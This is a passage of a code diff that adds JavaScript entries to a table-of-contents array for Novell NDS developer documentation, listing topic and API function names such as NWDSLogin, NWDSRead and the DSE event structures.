+top.titles[i] = "NDSBackupServerData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0002.";
+top.titles[i] = "NDSFreeNameList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0003.";
+top.titles[i] = "NDSGetReplicaPartitionNames";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0004.";
+top.titles[i] = "NDSIsOnlyServerInTree";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0005.";
+top.titles[i] = "NDSSYSVolumeRecovery";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0001.0006.";
+top.titles[i] = "NDSVerifyServerInfo";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0002.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0002.0001.";
+top.titles[i] = "NAMEID_TYPE";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0100.0003.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0003.0001.";
+top.titles[i] = "NDS Reason Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0100.0003.0002.";
+top.titles[i] = "NDS Server Flags";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0100.0004.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0300.";
+top.titles[i] = "NDS Event Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0001.";
+top.titles[i] = "Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0001.";
+top.titles[i] = "NDS Event Introduction";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0002.";
+top.titles[i] = "NDS Event Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0003.";
+top.titles[i] = "NDS Event Priorities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0004.";
+top.titles[i] = "NDS Event Data Filtering";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0005.";
+top.titles[i] = "NDS Event Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0001.0006.";
+top.titles[i] = "Global Network Monitoring";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0001.";
+top.titles[i] = "Monitoring NDS Events";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0002.";
+top.titles[i] = "Registering for NDS Events";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0002.0003.";
+top.titles[i] = "Unregistering for NDS Events";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0001.";
+top.titles[i] = "NWDSEConvertEntryName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0002.";
+top.titles[i] = "NWDSEGetLocalAttrID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0003.";
+top.titles[i] = "NWDSEGetLocalAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0004.";
+top.titles[i] = "NWDSEGetLocalClassID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0005.";
+top.titles[i] = "NWDSEGetLocalClassName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0006.";
+top.titles[i] = "NWDSEGetLocalEntryID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0007.";
+top.titles[i] = "NWDSEGetLocalEntryName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0008.";
+top.titles[i] = "NWDSERegisterForEvent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0009.";
+top.titles[i] = "NWDSERegisterForEventWithResult";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0003.0010.";
+top.titles[i] = "NWDSEUnRegisterForEvent";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0004.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0001.";
+top.titles[i] = "DSEACL";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0002.";
+top.titles[i] = "DSEBackLink";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0003.";
+top.titles[i] = "DSEBinderyObjectInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0004.";
+top.titles[i] = "DSEBitString";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0005.";
+top.titles[i] = "DSEChangeConnState";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0006.";
+top.titles[i] = "DSECIList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0007.";
+top.titles[i] = "DSEDebugInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0008.";
+top.titles[i] = "DSEEmailAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0009.";
+top.titles[i] = "DSEEntryInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0010.";
+top.titles[i] = "DSEEntryInfo2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0011.";
+top.titles[i] = "DSEEventData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0012.";
+top.titles[i] = "DSEFaxNumber";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0013.";
+top.titles[i] = "DSEHold";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0014.";
+top.titles[i] = "DSEModuleState";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0015.";
+top.titles[i] = "DSENetAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0016.";
+top.titles[i] = "DSEOctetList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0017.";
+top.titles[i] = "DSEPath";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0018.";
+top.titles[i] = "DSEReplicaPointer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0019.";
+top.titles[i] = "DSESEVInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0020.";
+top.titles[i] = "DSETimeStamp";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0021.";
+top.titles[i] = "DSETraceInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0022.";
+top.titles[i] = "DSETypedName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0023.";
+top.titles[i] = "DSEVALData";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0004.0024.";
+top.titles[i] = "DSEValueInfo";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0300.0005.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0005.0001.";
+top.titles[i] = "Event Priorities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0300.0005.0002.";
+top.titles[i] = "Event Types";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0300.0006.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0600.";
+top.titles[i] = "NDS Technical Overview";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0001.";
+top.titles[i] = "NDS as the Internet Directory";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0001.";
+top.titles[i] = "Requirements for Networks and the Internet";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0002.";
+top.titles[i] = "NDS Compliance to X.500 Standard";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0003.";
+top.titles[i] = "NDS Compliance with LDAP v3";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0004.";
+top.titles[i] = "Directory Access Protocols";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0005.";
+top.titles[i] = "Programming Interfaces for NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0001.0006.";
+top.titles[i] = "NDS Architecture";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0002.";
+top.titles[i] = "NDS Objects";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0001.";
+top.titles[i] = "NDS Names";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0002.";
+top.titles[i] = "Types of Information Stored in NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0003.";
+top.titles[i] = "Retrieval of Information from NDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0004.";
+top.titles[i] = "Tree Walking";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0002.0005.";
+top.titles[i] = "NDS Object Management";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0003.";
+top.titles[i] = "NDS Security";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0001.";
+top.titles[i] = "Authentication";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0002.";
+top.titles[i] = "Access Control Lists";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0003.";
+top.titles[i] = "Inheritance";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0003.0004.";
+top.titles[i] = "NetWare File System";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0004.";
+top.titles[i] = "Partitions and Replicas";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0001.";
+top.titles[i] = "Partitioning";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0002.";
+top.titles[i] = "Replication";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0003.";
+top.titles[i] = "Distributed Reference Management";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0004.";
+top.titles[i] = "Partition Operations";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0005.";
+top.titles[i] = "Synchronization";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0004.0006.";
+top.titles[i] = "Background Processes";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0005.";
+top.titles[i] = "Bindery Services";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0001.";
+top.titles[i] = "NDS Bindery Context";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0002.";
+top.titles[i] = "Bindery Context Path";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0003.";
+top.titles[i] = "Bindery Context Eclipsing";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0005.0004.";
+top.titles[i] = "NDS Bindery Objects";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0006.";
+top.titles[i] = "NDS Return Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0001.";
+top.titles[i] = "NDS Return Values from the Operating System";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0002.";
+top.titles[i] = "NDS Client Return Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0006.0003.";
+top.titles[i] = "NDS Agent Return Values";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0600.0007.";
+top.titles[i] = "Directory Services Trace Utilities";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0001.";
+top.titles[i] = "Using the DSTrace NLM";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0002.";
+top.titles[i] = "Using Basic SET DSTrace Commands";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0003.";
+top.titles[i] = "Starting Background Processes with SET DSTrace";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0004.";
+top.titles[i] = "Tuning Background Processes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0600.0007.0005.";
+top.titles[i] = "Enabling DSTrace Messages with SET DSTrace";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0600.0008.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0200.";
+top.titles[i] = "NDS Core Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0001.";
+top.titles[i] = "Programming Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0001.";
+top.titles[i] = "Context Handles";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0002.";
+top.titles[i] = "Buffer Management";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0003.";
+top.titles[i] = "Read Requests for Object Information";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0004.";
+top.titles[i] = "Search Requests";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0005.";
+top.titles[i] = "Developing in a Loosely Consistent Environment";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0006.";
+top.titles[i] = "Add Object Requests";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0007.";
+top.titles[i] = "NDS Security and Applications";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0008.";
+top.titles[i] = "Authentication of Client Applications";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0009.";
+top.titles[i] = "Multiple Tree Support";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0010.";
+top.titles[i] = "Effective Rights Function";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0011.";
+top.titles[i] = "Partition Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0012.";
+top.titles[i] = "Replica Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0013.";
+top.titles[i] = "Read Requests for Schema Information";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0001.0014.";
+top.titles[i] = "Schema Extension Requests";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0001.";
+top.titles[i] = "Context Handle Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0002.";
+top.titles[i] = "Buffer Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0003.";
+top.titles[i] = "Authentication and Connection Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0004.";
+top.titles[i] = "Object Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0005.";
+top.titles[i] = "Partition and Replica Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0002.0006.";
+top.titles[i] = "Schema Tasks";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0001.";
+top.titles[i] = "NWDSAbbreviateName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0002.";
+top.titles[i] = "NWDSAbortPartitionOperation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0003.";
+top.titles[i] = "NWDSAddFilterToken";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0004.";
+top.titles[i] = "NWDSAddObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0005.";
+top.titles[i] = "NWDSAddPartition (obsolete&#45;&#45;&#45;moved from .h file 11/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0006.";
+top.titles[i] = "NWDSAddReplica";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0007.";
+top.titles[i] = "NWDSAddSecurityEquiv";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0008.";
+top.titles[i] = "NWDSAllocBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0009.";
+top.titles[i] = "NWDSAllocFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0010.";
+top.titles[i] = "NWDSAuditGetObjectID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0011.";
+top.titles[i] = "NWDSAuthenticate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0012.";
+top.titles[i] = "NWDSAuthenticateConn";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0013.";
+top.titles[i] = "NWDSAuthenticateConnEx";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0014.";
+top.titles[i] = "NWDSBackupObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0015.";
+top.titles[i] = "NWDSBeginClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0016.";
+top.titles[i] = "NWDSCanDSAuthenticate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0017.";
+top.titles[i] = "NWDSCanonicalizeName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0018.";
+top.titles[i] = "NWDSChangeObjectPassword";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0019.";
+top.titles[i] = "NWDSChangeReplicaType";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0020.";
+top.titles[i] = "NWDSCIStringsMatch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0021.";
+top.titles[i] = "NWDSCloseIteration";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0022.";
+top.titles[i] = "NWDSCompare";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0023.";
+top.titles[i] = "NWDSComputeAttrValSize";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0024.";
+top.titles[i] = "NWDSCreateContext (obsolete&#45;&#45;&#45;moved from .h file 6/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0025.";
+top.titles[i] = "NWDSCreateContextHandle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0026.";
+top.titles[i] = "NWDSDefineAttr";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0027.";
+top.titles[i] = "NWDSDefineClass";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0028.";
+top.titles[i] = "NWDSDelFilterToken";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0029.";
+top.titles[i] = "NWDSDuplicateContext (obsolete 03/99)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0030.";
+top.titles[i] = "NWDSDuplicateContextHandle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0031.";
+top.titles[i] = "NWDSExtSyncList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0032.";
+top.titles[i] = "NWDSExtSyncRead";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0033.";
+top.titles[i] = "NWDSExtSyncSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0034.";
+top.titles[i] = "NWDSFreeBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0035.";
+top.titles[i] = "NWDSFreeContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0036.";
+top.titles[i] = "NWDSFreeFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0037.";
+top.titles[i] = "NWDSGenerateObjectKeyPair";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0038.";
+top.titles[i] = "NWDSGetAttrCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0039.";
+top.titles[i] = "NWDSGetAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0040.";
+top.titles[i] = "NWDSGetAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0041.";
+top.titles[i] = "NWDSGetAttrVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0042.";
+top.titles[i] = "NWDSGetAttrValFlags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0043.";
+top.titles[i] = "NWDSGetAttrValModTime";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0044.";
+top.titles[i] = "NWDSGetBinderyContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0045.";
+top.titles[i] = "NWDSGetClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0046.";
+top.titles[i] = "NWDSGetClassDefCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0047.";
+top.titles[i] = "NWDSGetClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0048.";
+top.titles[i] = "NWDSGetClassItemCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0049.";
+top.titles[i] = "NWDSGetContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0050.";
+top.titles[i] = "NWDSGetCountByClassAndName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0051.";
+top.titles[i] = "NWDSGetCurrentUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0052.";
+top.titles[i] = "NWDSGetDefNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0053.";
+top.titles[i] = "NWDSGetDSIInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0054.";
+top.titles[i] = "NWDSGetDSVerInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0055.";
+top.titles[i] = "NWDSGetEffectiveRights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0056.";
+top.titles[i] = "NWDSGetMonitoredConnRef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0057.";
+top.titles[i] = "NWDSGetNDSInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0058.";
+top.titles[i] = "NWDSGetObjectCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0059.";
+top.titles[i] = "NWDSGetObjectHostServerAddress";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0060.";
+top.titles[i] = "NWDSGetObjectName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0061.";
+top.titles[i] = "NWDSGetObjectNameAndInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0062.";
+top.titles[i] = "NWDSGetPartitionExtInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0063.";
+top.titles[i] = "NWDSGetPartitionExtInfoPtr";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0064.";
+top.titles[i] = "NWDSGetPartitionInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0065.";
+top.titles[i] = "NWDSGetPartitionRoot";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0066.";
+top.titles[i] = "NWDSGetServerAddresses (obsolete 3/98)";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0067.";
+top.titles[i] = "NWDSGetServerAddresses2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0068.";
+top.titles[i] = "NWDSGetServerDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0069.";
+top.titles[i] = "NWDSGetServerName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0070.";
+top.titles[i] = "NWDSGetSyntaxCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0071.";
+top.titles[i] = "NWDSGetSyntaxDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0072.";
+top.titles[i] = "NWDSGetSyntaxID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0073.";
+top.titles[i] = "NWDSInitBuf";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0074.";
+top.titles[i] = "NWDSInspectEntry";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0075.";
+top.titles[i] = "NWDSJoinPartitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0076.";
+top.titles[i] = "NWDSList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0077.";
+top.titles[i] = "NWDSListAttrsEffectiveRights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0078.";
+top.titles[i] = "NWDSListByClassAndName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0079.";
+top.titles[i] = "NWDSListContainableClasses";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0080.";
+top.titles[i] = "NWDSListContainers";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0081.";
+top.titles[i] = "NWDSListPartitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0082.";
+top.titles[i] = "NWDSListPartitionsExtInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0083.";
+top.titles[i] = "NWDSLogin";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0084.";
+top.titles[i] = "NWDSLoginAsServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0085.";
+top.titles[i] = "NWDSLogout";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0086.";
+top.titles[i] = "NWDSMapIDToName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0087.";
+top.titles[i] = "NWDSMapNameToID";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0088.";
+top.titles[i] = "NWDSModifyClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0089.";
+top.titles[i] = "NWDSModifyDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0090.";
+top.titles[i] = "NWDSModifyObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0091.";
+top.titles[i] = "NWDSModifyRDN";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0092.";
+top.titles[i] = "NWDSMoveObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0093.";
+top.titles[i] = "NWDSMutateObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0094.";
+top.titles[i] = "NWDSOpenConnToNDSServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0095.";
+top.titles[i] = "NWDSOpenMonitoredConn";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0096.";
+top.titles[i] = "NWDSOpenStream";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0097.";
+top.titles[i] = "NWDSPartitionReceiveAllUpdates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0098.";
+top.titles[i] = "NWDSPartitionSendAllUpdates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0099.";
+top.titles[i] = "NWDSPutAttrName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0100.";
+top.titles[i] = "NWDSPutAttrNameAndVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0101.";
+top.titles[i] = "NWDSPutAttrVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0102.";
+top.titles[i] = "NWDSPutChange";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0103.";
+top.titles[i] = "NWDSPutChangeAndVal";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0104.";
+top.titles[i] = "NWDSPutClassItem";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0105.";
+top.titles[i] = "NWDSPutClassName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0106.";
+top.titles[i] = "NWDSPutFilter";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0107.";
+top.titles[i] = "NWDSPutSyntaxName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0108.";
+top.titles[i] = "NWDSRead";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0109.";
+top.titles[i] = "NWDSReadAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0110.";
+top.titles[i] = "NWDSReadClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0111.";
+top.titles[i] = "NWDSReadNDSInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0112.";
+top.titles[i] = "NWDSReadObjectDSIInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0113.";
+top.titles[i] = "NWDSReadObjectInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0114.";
+top.titles[i] = "NWDSReadReferences";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0115.";
+top.titles[i] = "NWDSReadSyntaxDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0116.";
+top.titles[i] = "NWDSReadSyntaxes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0117.";
+top.titles[i] = "NWDSReloadDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0118.";
+top.titles[i] = "NWDSRemoveAllTypes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0119.";
+top.titles[i] = "NWDSRemoveAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0120.";
+top.titles[i] = "NWDSRemoveClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0121.";
